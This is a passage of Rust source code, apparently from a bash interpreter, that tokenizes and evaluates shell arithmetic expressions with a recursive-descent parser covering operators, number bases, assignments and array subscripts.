Parser::with_source(&tokens, expr);\n    let result = parser.parse_comma(state)?;\n    if parser.pos < parser.tokens.len() {\n        return Err(RustBashError::Execution(format!(\n            \"arithmetic: unexpected token near `{}`\",\n            parser.tokens[parser.pos].text(expr)\n        )));\n    }\n    Ok(result)\n}\n\n// ── Tokens ──────────────────────────────────────────────────────────\n\n#[derive(Debug, Clone, Copy, PartialEq, Eq)]\nenum TokenKind {\n    Number(i64),\n    Ident,      // variable name (start, len stored separately)\n    Plus,       // +\n    Minus,      // -\n    Star,       // *\n    StarStar,   // **\n    Slash,      // /\n    Percent,    // %\n    Amp,        // &\n    AmpAmp,     // &&\n    Pipe,       // |\n    PipePipe,   // ||\n    Caret,      // ^\n    Tilde,      // ~\n    Bang,       // !\n    Eq,         // =\n    EqEq,       // ==\n    BangEq,     // !=\n    Lt,         // <\n    LtEq,       // <=\n    LtLt,       // <<\n    Gt,         // >\n    GtEq,       // >=\n    GtGt,       // >>\n    PlusEq,     // +=\n    MinusEq,    // -=\n    StarEq,     // *=\n    SlashEq,    // /=\n    PercentEq,  // %=\n    LtLtEq,     // <<=\n    GtGtEq,     // >>=\n    AmpEq,      // &=\n    PipeEq,     // |=\n    CaretEq,    // ^=\n    PlusPlus,   // ++\n    MinusMinus, // --\n    Question,   // ?\n    Colon,      // :\n    LParen,     // (\n    RParen,     // )\n    LBracket,   // [\n    RBracket,   // ]\n    Comma,      // ,\n}\n\n#[derive(Debug, Clone, Copy)]\nstruct Token {\n    kind: TokenKind,\n    start: usize,\n    len: usize,\n}\n\nimpl Token {\n    fn text<'a>(&self, source: &'a str) -> &'a str {\n        &source[self.start..self.start + self.len]\n    }\n}\n\n// ── Tokenizer ───────────────────────────────────────────────────────\n\nfn tokenize(input: &str, strict_arith: bool) -> Result<Vec<Token>, RustBashError> {\n    tokenize_with_offset(input, strict_arith, 0)\n}\n\nfn tokenize_with_offset(\n    input: &str,\n    strict_arith: bool,\n    offset: usize,\n) -> Result<Vec<Token>, RustBashError> {\n    let bytes = input.as_bytes();\n    let mut tokens = Vec::new();\n    let mut i = 0;\n\n    while i < bytes.len() {\n        if is_arithmetic_whitespace(bytes[i]) {\n            i += 1;\n            continue;\n        }\n\n        let start = i;\n\n        if bytes[i].is_ascii_digit() {\n            let num = parse_number(bytes, &mut i)?;\n            if i < bytes.len() && bytes[i] == b'.' {\n                return Err(RustBashError::Execution(\n                    \"arithmetic: syntax error: invalid arithmetic operator\".into(),\n                ));\n            }\n            if i < bytes.len() && bytes[i] == b'#' {\n                if strict_arith && i - start > 1 && bytes[start] == b'0' {\n                    return Err(RustBashError::Execution(format!(\n                        \"arithmetic: invalid base constant `{}`\",\n                        std::str::from_utf8(&bytes[start..=i]).unwrap_or(\"0#\")\n                    )));\n                }\n                let base = num;\n                i += 1;\n                let val_start = i;\n                while i < bytes.len()\n                    && (bytes[i].is_ascii_alphanumeric() || bytes[i] == b'@' || bytes[i] == b'_')\n                {\n                    i += 1;\n                }\n                let val_str = std::str::from_utf8(&bytes[val_start..i]).unwrap();\n                let result = parse_base_n_value(base, val_str)?;\n                tokens.push(Token {\n                    kind: TokenKind::Number(result),\n                    start: offset + start,\n                    len: i - start,\n                });\n            } else {\n                tokens.push(Token {\n                    kind: TokenKind::Number(num),\n                    start: offset + start,\n                    len: i - start,\n                });\n            }\n            continue;\n        }\n\n        if bytes[i] == b'\\'' {\n            return Err(RustBashError::Execution(\n                \"arithmetic: syntax error: operand expected\".into(),\n            ));\n        }\n\n        if bytes[i] == b'\"' {\n            i += 1;\n            let inner_start = i;\n            while i < bytes.len() && bytes[i] != b'\"' {\n                if bytes[i] == b'\\\\' && i + 1 < bytes.len() {\n                    i += 2;\n                } else {\n                    i += 1;\n                }\n            }\n            let inner = std::str::from_utf8(&bytes[inner_start..i]).unwrap_or(\"\");\n            if i < bytes.len() {\n                i += 1;\n            }\n            tokens.extend(tokenize_with_offset(\n                inner,\n                strict_arith,\n                offset + inner_start,\n            )?);\n            continue;\n        }\n\n        if bytes[i] == b'_' || bytes[i].is_ascii_alphabetic() {\n            while i < bytes.len() && (bytes[i] == b'_' || bytes[i].is_ascii_alphanumeric()) {\n                i += 1;\n            }\n            tokens.push(Token {\n                kind: TokenKind::Ident,\n                start: offset + start,\n                len: i - start,\n            });\n            continue;\n        }\n\n        if bytes[i] == b'$' {\n            i += 1;\n            if i < bytes.len() && bytes[i] == b'{' {\n                i += 1;\n                let var_start = i;\n                while i < bytes.len() && bytes[i] != b'}' {\n                    i += 1;\n                }\n                if i < bytes.len() {\n                    tokens.push(Token {\n                        kind: TokenKind::Ident,\n                        start: offset + var_start,\n                        len: i - var_start,\n                    });\n                    i += 1;\n                }\n            } else if i < bytes.len() && bytes[i].is_ascii_digit() {\n                let var_start = i;\n                while i < bytes.len() && bytes[i].is_ascii_digit() {\n                    i += 1;\n                }\n                tokens.push(Token {\n                    kind: TokenKind::Ident,\n                    start: offset + var_start,\n                    len: i - var_start,\n                });\n            } else if i < bytes.len() && (bytes[i] == b'#' || bytes[i] == b'?') {\n                tokens.push(Token {\n                    kind: TokenKind::Ident,\n                    start: offset + i,\n                    len: 1,\n                });\n                i += 1;\n            } else if i < bytes.len() && (bytes[i] == b'_' || bytes[i].is_ascii_alphabetic()) {\n                let var_start = i;\n                while i < bytes.len() && (bytes[i] == b'_' || bytes[i].is_ascii_alphanumeric()) {\n                    i += 1;\n                }\n                tokens.push(Token {\n                    kind: TokenKind::Ident,\n                    start: offset + var_start,\n                    len: i - var_start,\n                });\n            }\n            continue;\n        }\n\n        let next = if i + 1 < bytes.len() {\n            Some(bytes[i + 1])\n        } else {\n            None\n        };\n        let next2 = if i + 2 < bytes.len() {\n            Some(bytes[i + 2])\n        } else {\n            None\n        };\n\n        let push = |tokens: &mut Vec<Token>, kind: TokenKind, len: usize| {\n            tokens.push(Token {\n                kind,\n                start: offset + start,\n                len,\n            });\n        };\n\n        match (bytes[i], next, next2) {\n            (b'*', Some(b'*'), _) => {\n                push(&mut tokens, TokenKind::StarStar, 2);\n                i += 2;\n            }\n            (b'<', Some(b'<'), Some(b'=')) => {\n                push(&mut tokens, TokenKind::LtLtEq, 3);\n                i += 3;\n            }\n            (b'>', Some(b'>'), Some(b'=')) => {\n                push(&mut tokens, TokenKind::GtGtEq, 3);\n                i += 3;\n            }\n            (b'+', Some(b'+'), _) => {\n                push(&mut tokens, TokenKind::PlusPlus, 2);\n                i += 2;\n            }\n            (b'-', Some(b'-'), _) => {\n                push(&mut tokens, TokenKind::MinusMinus, 2);\n                i += 2;\n            }\n            (b'+', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::PlusEq, 2);\n                i += 2;\n            }\n            (b'-', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::MinusEq, 2);\n                i += 2;\n            }\n            (b'*', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::StarEq, 2);\n                i += 2;\n            }\n            (b'/', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::SlashEq, 2);\n                i += 2;\n            }\n            (b'%', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::PercentEq, 2);\n                i += 2;\n            }\n            (b'&', Some(b'&'), _) => {\n                push(&mut tokens, TokenKind::AmpAmp, 2);\n                i += 2;\n            }\n            (b'&', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::AmpEq, 2);\n                i += 2;\n            }\n            (b'|', Some(b'|'), _) => {\n                push(&mut tokens, TokenKind::PipePipe, 2);\n                i += 2;\n            }\n            (b'|', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::PipeEq, 2);\n                i += 2;\n            }\n            (b'^', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::CaretEq, 2);\n                i += 2;\n            }\n            (b'=', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::EqEq, 2);\n                i += 2;\n            }\n            (b'!', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::BangEq, 2);\n                i += 2;\n            }\n            (b'<', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::LtEq, 2);\n                i += 2;\n            }\n            (b'<', Some(b'<'), _) => {\n                push(&mut tokens, TokenKind::LtLt, 2);\n                i += 2;\n            }\n            (b'>', Some(b'='), _) => {\n                push(&mut tokens, TokenKind::GtEq, 2);\n                i += 2;\n            }\n            (b'>', Some(b'>'), _) => {\n                push(&mut tokens, TokenKind::GtGt, 2);\n                i += 2;\n            }\n            (b'+', _, _) => {\n                push(&mut tokens, TokenKind::Plus, 1);\n                i += 1;\n            }\n            (b'-', _, _) => {\n                push(&mut tokens, TokenKind::Minus, 1);\n                i += 1;\n            }\n            (b'*', _, _) => {\n                push(&mut tokens, TokenKind::Star, 1);\n                i += 1;\n            }\n            (b'/', _, _) => {\n                push(&mut tokens, TokenKind::Slash, 1);\n                i += 1;\n            }\n            (b'%', _, _) => {\n                push(&mut tokens, TokenKind::Percent, 1);\n                i += 1;\n            }\n            (b'&', _, _) => {\n                push(&mut tokens, TokenKind::Amp, 1);\n                i += 1;\n            }\n            (b'|', _, _) => {\n                push(&mut tokens, TokenKind::Pipe, 1);\n                i += 1;\n            }\n            (b'^', _, _) => {\n                push(&mut tokens, TokenKind::Caret, 1);\n                i += 1;\n            }\n            (b'~', _, _) => {\n                push(&mut tokens, TokenKind::Tilde, 1);\n                i += 1;\n            }\n            (b'!', _, _) => {\n                push(&mut tokens, TokenKind::Bang, 1);\n                i += 1;\n            }\n            (b'=', _, _) => {\n                push(&mut tokens, TokenKind::Eq, 1);\n                i += 1;\n            }\n            (b'<', _, _) => {\n                push(&mut tokens, TokenKind::Lt, 1);\n                i += 1;\n            }\n            (b'>', _, _) => {\n                push(&mut tokens, TokenKind::Gt, 1);\n                i += 1;\n            }\n            (b'?', _, _) => {\n                push(&mut tokens, TokenKind::Question, 1);\n                i += 1;\n            }\n            (b':', _, _) => {\n                push(&mut tokens, TokenKind::Colon, 1);\n                i += 1;\n            }\n            (b'(', _, _) => {\n                push(&mut tokens, TokenKind::LParen, 1);\n                i += 1;\n            }\n            (b')', _, _) => {\n                push(&mut tokens, TokenKind::RParen, 1);\n                i += 1;\n            }\n            (b'[', _, _) => {\n                push(&mut tokens, TokenKind::LBracket, 1);\n                i += 1;\n            }\n            (b']', _, _) => {\n                push(&mut tokens, TokenKind::RBracket, 1);\n                i += 1;\n            }\n            (b',', _, _) => {\n                push(&mut tokens, TokenKind::Comma, 1);\n                i += 1;\n            }\n            _ => {\n                return Err(RustBashError::Execution(format!(\n                    \"arithmetic: unexpected character `{}`\",\n                    bytes[i] as char\n                )));\n            }\n        }\n    }\n\n    Ok(tokens)\n}\n\nfn is_arithmetic_whitespace(byte: u8) -> bool {\n    matches!(byte, b' ' | b'\\t' | b'\\n')\n}\n\nfn parse_number(bytes: &[u8], i: &mut usize) -> Result<i64, RustBashError> {\n    let start = *i;\n\n    // Hex: 0x or 0X\n    if bytes[start] == b'0'\n        && *i + 1 < bytes.len()\n        && (bytes[*i + 1] == b'x' || bytes[*i + 1] == b'X')\n    {\n        *i += 2;\n        let hex_start = *i;\n        while *i < bytes.len() && bytes[*i].is_ascii_hexdigit() {\n            *i += 1;\n        }\n        if *i == hex_start {\n            return Err(RustBashError::Execution(\n                \"arithmetic: invalid hex number\".into(),\n            ));\n        }\n        let s = std::str::from_utf8(&bytes[hex_start..*i]).unwrap();\n        return i64::from_str_radix(s, 16).map_err(|_| {\n            RustBashError::Execution(format!(\"arithmetic: invalid hex number `0x{s}`\"))\n        });\n    }\n\n    // Octal: leading 0 followed by digits\n    if bytes[start] == b'0' && *i + 1 < bytes.len() && bytes[*i + 1].is_ascii_digit() {\n        *i += 1;\n        let oct_start = *i;\n        while *i < bytes.len() && bytes[*i].is_ascii_digit() {\n            *i += 1;\n        }\n        let s = std::str::from_utf8(&bytes[oct_start..*i]).unwrap();\n        return i64::from_str_radix(s, 8).map_err(|_| {\n            RustBashError::Execution(format!(\"arithmetic: invalid octal number `0{s}`\"))\n        });\n    }\n\n    // Decimal\n    while *i < bytes.len() && bytes[*i].is_ascii_digit() {\n        *i += 1;\n    }\n    let s = std::str::from_utf8(&bytes[start..*i]).unwrap();\n    s.parse::<i64>()\n        .map_err(|_| RustBashError::Execution(format!(\"arithmetic: invalid number `{s}`\")))\n}\n\n/// Parse a value in base N (2..64). Digits: 0-9, a-z, A-Z, @, _\nfn parse_base_n_value(base: i64, digits: &str) -> Result<i64, RustBashError> {\n    if !(2..=64).contains(&base) {\n        return Err(RustBashError::Execution(format!(\n            \"arithmetic: invalid arithmetic base: {base}\"\n        )));\n    }\n    let base_u = base as u64;\n    let mut result: i64 = 0;\n    for ch in digits.chars() {\n        let digit_val = match ch {\n            '0'..='9' => (ch as u64) - (b'0' as u64),\n            'a'..='z' => (ch as u64) - (b'a' as u64) + 10,\n            'A'..='Z' => {\n                if base <= 36 {\n                    (ch as u64) - (b'A' as u64) + 10\n                } else {\n                    (ch as u64) - (b'A' as u64) + 36\n                }\n            }\n            '@' => 62,\n            '_' => 63,\n            _ => {\n                return Err(RustBashError::Execution(format!(\n                    \"arithmetic: value too great for base: {digits} (base {base})\"\n                )));\n            }\n        };\n        if digit_val >= base_u {\n            return Err(RustBashError::Execution(format!(\n                \"arithmetic: value too great for base: {digits} (base {base})\"\n            )));\n        }\n        result = result.wrapping_mul(base).wrapping_add(digit_val as i64);\n    }\n    Ok(result)\n}\n\n// ── Recursive-descent parser / evaluator ────────────────────────────\n\nstruct Parser<'a> {\n    tokens: &'a [Token],\n    source: &'a str,\n    pos: usize,\n}\n\nimpl<'a> Parser<'a> {\n    fn with_source(tokens: &'a [Token], source: &'a str) -> Self {\n        Self {\n            tokens,\n            source,\n            pos: 0,\n        }\n    }\n\n    fn peek(&self) -> Option<TokenKind> {\n        self.tokens.get(self.pos).map(|t| t.kind)\n    }\n\n    fn advance(&mut self) -> Token {\n        let t = self.tokens[self.pos];\n        self.pos += 1;\n        t\n    }\n\n    fn expect(&mut self, kind: TokenKind) -> Result<Token, RustBashError> {\n        match self.peek() {\n            Some(k) if k == kind => Ok(self.advance()),\n            _ => Err(RustBashError::Execution(format!(\n                \"arithmetic: expected {kind:?}\"\n            ))),\n        }\n    }\n\n    fn ident_name(&self, tok: Token) -> &'a str {\n        &self.source[tok.start..tok.start + tok.len]\n    }\n\n    // ── Precedence levels (low to high) ─────────────────────────────\n\n    // Comma (lowest)\n    fn parse_comma(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut result = self.parse_assignment(state)?;\n        while self.peek() == Some(TokenKind::Comma) {\n            self.advance();\n            result = self.parse_assignment(state)?;\n        }\n        Ok(result)\n    }\n\n    // Assignment: = += -= *= /= %= <<= >>= &= |= ^=\n    // Right-to-left associative\n    fn parse_assignment(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        // Look ahead: if current is Ident followed by assignment op, handle it.\n        // Also handle Ident[expr] = ... for array element assignment.\n        if let Some(TokenKind::Ident) = self.peek() {\n            let saved = self.pos;\n            let ident_tok = self.advance();\n            let name = self.ident_name(ident_tok).to_string();\n\n            // Check for array subscript — capture raw text between [ and ]\n            let raw_subscript = if self.peek() == Some(TokenKind::LBracket) {\n                Some(self.extract_raw_subscript()?)\n            } else {\n                None\n            };\n\n            if let Some(op) = self.peek() {\n                match op {\n                    TokenKind::Eq => {\n                        self.advance();\n                        let val = self.parse_assignment(state)?;\n                        if let Some(ref sub) = raw_subscript {\n                            write_array_element(state, &name, sub, val)?;\n                        } else {\n                            set_variable(state, &name, val.to_string())?;\n                        }\n                        return Ok(val);\n                    }\n                    TokenKind::PlusEq\n                    | TokenKind::MinusEq\n                    | TokenKind::StarEq\n                    | TokenKind::SlashEq\n                    | TokenKind::PercentEq\n                    | TokenKind::LtLtEq\n                    | TokenKind::GtGtEq\n                    | TokenKind::AmpEq\n                    | TokenKind::PipeEq\n                    | TokenKind::CaretEq => {\n                        self.advance();\n                        let rhs = self.parse_assignment(state)?;\n                        let lhs = if let Some(ref sub) = raw_subscript {\n                            read_array_element(state, &name, sub)?\n                        } else {\n                            read_var(state, &name)?\n                        };\n                        let val = apply_compound_op(op, lhs, rhs)?;\n                        if let Some(ref sub) = raw_subscript {\n                            write_array_element(state, &name, sub, val)?;\n                        } else {\n                            set_variable(state, &name, val.to_string())?;\n                        }\n                        return Ok(val);\n                    }\n                    _ => {\n                        // Not an assignment — backtrack\n                        self.pos = saved;\n                    }\n                }\n            } else {\n                self.pos = saved;\n            }\n        }\n        self.parse_ternary(state)\n    }\n\n    // Ternary: cond ? true_val : false_val\n    // Bash short-circuits: only the taken branch is evaluated for side effects.\n    fn parse_ternary(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let cond = self.parse_logical_or(state)?;\n        if self.peek() == Some(TokenKind::Question) {\n            self.advance();\n            if cond != 0 {\n                let true_val = self.parse_assignment(state)?;\n                self.expect(TokenKind::Colon)?;\n                self.skip_ternary_branch()?;\n                Ok(true_val)\n            } else {\n                self.skip_ternary_branch()?;\n                self.expect(TokenKind::Colon)?;\n                let false_val = self.parse_assignment(state)?;\n                Ok(false_val)\n            }\n        } else {\n            Ok(cond)\n        }\n    }\n\n    /// Skip tokens for one ternary branch without evaluating side effects.\n    /// Handles nested ternaries by tracking `?`/`:` depth.\n    fn skip_ternary_branch(&mut self) -> Result<(), RustBashError> {\n        let mut depth = 0;\n        loop {\n            match self.peek() {\n                Some(TokenKind::Question) => {\n                    depth += 1;\n                    self.advance();\n                }\n                Some(TokenKind::Colon) if depth == 0 => break,\n                Some(TokenKind::Colon) => {\n                    depth -= 1;\n                    self.advance();\n                }\n                None => break,\n                _ => {\n                    self.advance();\n                }\n            }\n        }\n        Ok(())\n    }\n\n    // Logical OR: || (short-circuit: skip RHS if LHS is truthy)\n    fn parse_logical_or(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_logical_and(state)?;\n        while self.peek() == Some(TokenKind::PipePipe) {\n            self.advance();\n            if left != 0 {\n                // RHS of || is a logical-and-level expression; skip past && chains\n                self.skip_logical_operand(true)?;\n                left = 1;\n            } else {\n                let right = self.parse_logical_and(state)?;\n                left = i64::from(right != 0);\n            }\n        }\n        Ok(left)\n    }\n\n    // Logical AND: && (short-circuit: skip RHS if LHS is falsy)\n    fn parse_logical_and(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_bitwise_or(state)?;\n        while self.peek() == Some(TokenKind::AmpAmp) {\n            self.advance();\n            if left == 0 {\n                // RHS of && is a bitwise-or-level expression; stop at &&\n                self.skip_logical_operand(false)?;\n                left = 0;\n            } else {\n                let right = self.parse_bitwise_or(state)?;\n                left = i64::from(right != 0);\n            }\n        }\n        Ok(left)\n    }\n\n    /// Skip one operand expression without evaluating side effects.\n    /// When `skip_and` is true (called from `||`), skips past `&&` chains\n    /// since `&&` has higher precedence than `||`.\n    fn skip_logical_operand(&mut self, skip_and: bool) -> Result<(), RustBashError> {\n        let mut paren_depth = 0i32;\n        let mut bracket_depth = 0i32;\n        loop {\n            match self.peek() {\n                None => break,\n                Some(TokenKind::LParen) => {\n                    paren_depth += 1;\n                    self.advance();\n                }\n                Some(TokenKind::RParen) => {\n                    if paren_depth <= 0 {\n                        break;\n                    }\n                    paren_depth -= 1;\n                    self.advance();\n                }\n                Some(TokenKind::LBracket) => {\n                    bracket_depth += 1;\n                    self.advance();\n                }\n                Some(TokenKind::RBracket) => {\n                    bracket_depth -= 1;\n                    self.advance();\n                }\n                Some(TokenKind::AmpAmp) if skip_and && paren_depth == 0 && bracket_depth == 0 => {\n                    // Inside ||'s RHS: consume && and skip its operand too\n                    self.advance();\n                    self.skip_logical_operand(false)?;\n                }\n                Some(\n                    TokenKind::PipePipe\n                    | TokenKind::AmpAmp\n                    | TokenKind::Question\n                    | TokenKind::Colon\n                    | TokenKind::Comma,\n                ) if paren_depth == 0 && bracket_depth == 0 => {\n                    break;\n                }\n                _ => {\n                    self.advance();\n                }\n            }\n        }\n        Ok(())\n    }\n\n    // Bitwise OR: |\n    fn parse_bitwise_or(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_bitwise_xor(state)?;\n        while self.peek() == Some(TokenKind::Pipe) {\n            self.advance();\n            let right = self.parse_bitwise_xor(state)?;\n            left |= right;\n        }\n        Ok(left)\n    }\n\n    // Bitwise XOR: ^\n    fn parse_bitwise_xor(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_bitwise_and(state)?;\n        while self.peek() == Some(TokenKind::Caret) {\n            self.advance();\n            let right = self.parse_bitwise_and(state)?;\n            left ^= right;\n        }\n        Ok(left)\n    }\n\n    // Bitwise AND: &\n    fn parse_bitwise_and(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_equality(state)?;\n        while self.peek() == Some(TokenKind::Amp) {\n            self.advance();\n            let right = self.parse_equality(state)?;\n            left &= right;\n        }\n        Ok(left)\n    }\n\n    // Equality: == !=\n    fn parse_equality(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_comparison(state)?;\n        loop {\n            match self.peek() {\n                Some(TokenKind::EqEq) => {\n                    self.advance();\n                    let right = self.parse_comparison(state)?;\n                    left = i64::from(left == right);\n                }\n                Some(TokenKind::BangEq) => {\n                    self.advance();\n                    let right = self.parse_comparison(state)?;\n                    left = i64::from(left != right);\n                }\n                _ => break,\n            }\n        }\n        Ok(left)\n    }\n\n    // Comparison: < > <= >=\n    fn parse_comparison(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_shift(state)?;\n        loop {\n            match self.peek() {\n                Some(TokenKind::Lt) => {\n                    self.advance();\n                    let right = self.parse_shift(state)?;\n                    left = i64::from(left < right);\n                }\n                Some(TokenKind::Gt) => {\n                    self.advance();\n                    let right = self.parse_shift(state)?;\n                    left = i64::from(left > right);\n                }\n                Some(TokenKind::LtEq) => {\n                    self.advance();\n                    let right = self.parse_shift(state)?;\n                    left = i64::from(left <= right);\n                }\n                Some(TokenKind::GtEq) => {\n                    self.advance();\n                    let right = self.parse_shift(state)?;\n                    left = i64::from(left >= right);\n                }\n                _ => break,\n            }\n        }\n        Ok(left)\n    }\n\n    // Shift: << >>\n    fn parse_shift(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_additive(state)?;\n        loop {\n            match self.peek() {\n                Some(TokenKind::LtLt) => {\n                    self.advance();\n                    let right = self.parse_additive(state)?;\n                    left = left.wrapping_shl(right as u32);\n                }\n                Some(TokenKind::GtGt) => {\n                    self.advance();\n                    let right = self.parse_additive(state)?;\n                    left = left.wrapping_shr(right as u32);\n                }\n                _ => break,\n            }\n        }\n        Ok(left)\n    }\n\n    // Addition / subtraction: + -\n    fn parse_additive(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_multiplicative(state)?;\n        loop {\n            match self.peek() {\n                Some(TokenKind::Plus) => {\n                    self.advance();\n                    let right = self.parse_multiplicative(state)?;\n                    left = left.wrapping_add(right);\n                }\n                Some(TokenKind::Minus) => {\n                    self.advance();\n                    let right = self.parse_multiplicative(state)?;\n                    left = left.wrapping_sub(right);\n                }\n                _ => break,\n            }\n        }\n        Ok(left)\n    }\n\n    // Multiplication / division / modulo: * / %\n    fn parse_multiplicative(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let mut left = self.parse_exponentiation(state)?;\n        loop {\n            match self.peek() {\n                Some(TokenKind::Star) => {\n                    self.advance();\n                    let right = self.parse_exponentiation(state)?;\n                    left = left.wrapping_mul(right);\n                }\n                Some(TokenKind::Slash) => {\n                    self.advance();\n                    let right = self.parse_exponentiation(state)?;\n                    if right == 0 {\n                        return Err(RustBashError::Execution(\n                            \"arithmetic: division by zero\".into(),\n                        ));\n                    }\n                    left = left.wrapping_div(right);\n                }\n                Some(TokenKind::Percent) => {\n                    self.advance();\n                    let right = self.parse_exponentiation(state)?;\n                    if right == 0 {\n                        return Err(RustBashError::Execution(\n                            \"arithmetic: division by zero\".into(),\n                        ));\n                    }\n                    left = left.wrapping_rem(right);\n                }\n                _ => break,\n            }\n        }\n        Ok(left)\n    }\n\n    // Exponentiation: ** (right-to-left associative)\n    fn parse_exponentiation(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let base = self.parse_unary(state)?;\n        if self.peek() == Some(TokenKind::StarStar) {\n            self.advance();\n            let exp = self.parse_exponentiation(state)?; // right-associative\n            wrapping_pow(base, exp)\n        } else {\n            Ok(base)\n        }\n    }\n\n    // Unary: + - ! ~ (right-to-left)\n    fn parse_unary(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        match self.peek() {\n            Some(TokenKind::Plus) => {\n                self.advance();\n                self.parse_unary(state)\n            }\n            Some(TokenKind::Minus) => {\n                self.advance();\n                let val = self.parse_unary(state)?;\n                Ok(val.wrapping_neg())\n            }\n            Some(TokenKind::Bang) => {\n                self.advance();\n                let val = self.parse_unary(state)?;\n                Ok(i64::from(val == 0))\n            }\n            Some(TokenKind::Tilde) => {\n                self.advance();\n                let val = self.parse_unary(state)?;\n                Ok(!val)\n            }\n            // Pre-increment / pre-decrement (supports both var and var[subscript])\n            Some(TokenKind::PlusPlus) => {\n                self.advance();\n                let tok = self.expect_ident()?;\n                let name = self.ident_name(tok).to_string();\n                if self.peek() == Some(TokenKind::LBracket) {\n                    let raw_sub = self.extract_raw_subscript()?;\n                    let old = read_array_element(state, &name, &raw_sub)?;\n                    let val = old.wrapping_add(1);\n                    write_array_element(state, &name, &raw_sub, val)?;\n                    Ok(val)\n                } else {\n                    let val = read_var(state, &name)?.wrapping_add(1);\n                    set_variable(state, &name, val.to_string())?;\n                    Ok(val)\n                }\n            }\n            Some(TokenKind::MinusMinus) => {\n                self.advance();\n                let tok = self.expect_ident()?;\n                let name = self.ident_name(tok).to_string();\n                if self.peek() == Some(TokenKind::LBracket) {\n                    let raw_sub = self.extract_raw_subscript()?;\n                    let old = read_array_element(state, &name, &raw_sub)?;\n                    let val = old.wrapping_sub(1);\n                    write_array_element(state, &name, &raw_sub, val)?;\n                    Ok(val)\n                } else {\n                    let val = read_var(state, &name)?.wrapping_sub(1);\n                    set_variable(state, &name, val.to_string())?;\n                    Ok(val)\n                }\n            }\n            _ => self.parse_postfix(state),\n        }\n    }\n\n    // Postfix: var++ var-- (also supports var[subscript]++ and var[subscript]--)\n    fn parse_postfix(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        let val = self.parse_primary(state)?;\n\n        // Check for postfix ++ or -- after an identifier (with optional subscript)\n        if self.pos >= 1 {\n            // Check if the previous token was ] (array subscript) or Ident (simple var)\n            let prev = self.tokens[self.pos - 1];\n            let is_array = matches!(prev.kind, TokenKind::RBracket);\n            let is_simple_ident = matches!(prev.kind, TokenKind::Ident);\n\n            if is_array {\n                // Find the variable name and subscript by walking back\n                if let Some(op @ (TokenKind::PlusPlus | TokenKind::MinusMinus)) = self.peek() {\n                    self.advance();\n                    // Reconstruct the var name and subscript from the parsed tokens\n                    // We need to find the Ident before the [ ... ] sequence\n                    if let Some((name, raw_sub)) = self.find_preceding_array_ref() {\n                        let delta: i64 = if op == TokenKind::PlusPlus { 1 } else { -1 };\n                        write_array_element(state, &name, &raw_sub, val.wrapping_add(delta))?;\n                        return Ok(val);\n                    }\n                }\n            } else if is_simple_ident {\n                match self.peek() {\n                    Some(TokenKind::PlusPlus) => {\n                        self.advance();\n                        let name = self.ident_name(prev).to_string();\n                        set_variable(state, &name, (val.wrapping_add(1)).to_string())?;\n                        return Ok(val); // return old value\n                    }\n                    Some(TokenKind::MinusMinus) => {\n                        self.advance();\n                        let name = self.ident_name(prev).to_string();\n                        set_variable(state, &name, (val.wrapping_sub(1)).to_string())?;\n                        return Ok(val); // return old value\n                    }\n                    _ => {}\n                }\n            }\n        }\n        Ok(val)\n    }\n\n    /// Walk backward from current position to find the array name and subscript\n    /// text for a `name[subscript]` that was just parsed.\n    fn find_preceding_array_ref(&self) -> Option<(String, String)> {\n        // We expect tokens ending: Ident LBracket <subscript tokens...> RBracket\n        // Walk backward from current pos - 1 (which is the postfix op we just consumed)\n        // The token before that was RBracket. Find matching LBracket.\n        let mut p = self.pos - 2; // pos after advance; -1 = op token, -2 = RBracket\n        let mut depth = 1;\n        while p > 0 {\n            p -= 1;\n            match self.tokens[p].kind {\n                TokenKind::RBracket => depth += 1,\n                TokenKind::LBracket => {\n                    depth -= 1;\n                    if depth == 0 {\n                        break;\n                    }\n                }\n                _ => {}\n            }\n        }\n        if depth != 0 || p == 0 {\n            return None;\n        }\n        // Token before LBracket should be the identifier\n        let ident_tok = self.tokens[p - 1];\n        if !matches!(ident_tok.kind, TokenKind::Ident) {\n            return None;\n        }\n        let name = self.ident_name(ident_tok).to_string();\n        // Reconstruct the raw source between the brackets so quoted associative\n        // keys survive tokenization.\n        let lbracket = self.tokens[p];\n        let rbracket = self.tokens[self.pos - 2];\n        let sub_text = if lbracket.start + lbracket.len < rbracket.start {\n            self.source[lbracket.start + lbracket.len..rbracket.start].to_string()\n        } else {\n            String::from(\"0\")\n        };\n        Some((name, sub_text))\n    }\n\n    // Primary: number, variable, parenthesized expression\n    fn parse_primary(&mut self, state: &mut InterpreterState) -> Result<i64, RustBashError> {\n        match self.peek() {\n            Some(TokenKind::Number(n)) => {\n                self.advance();\n                Ok(n)\n            }\n            Some(TokenKind::Ident) => {\n                let tok = self.advance();\n                let name = self.ident_name(tok).to_string();\n                // Check for array subscript: ident[expr]\n                if self.peek() == Some(TokenKind::LBracket) {\n                    let raw_sub = self.extract_raw_subscript()?;\n                    // 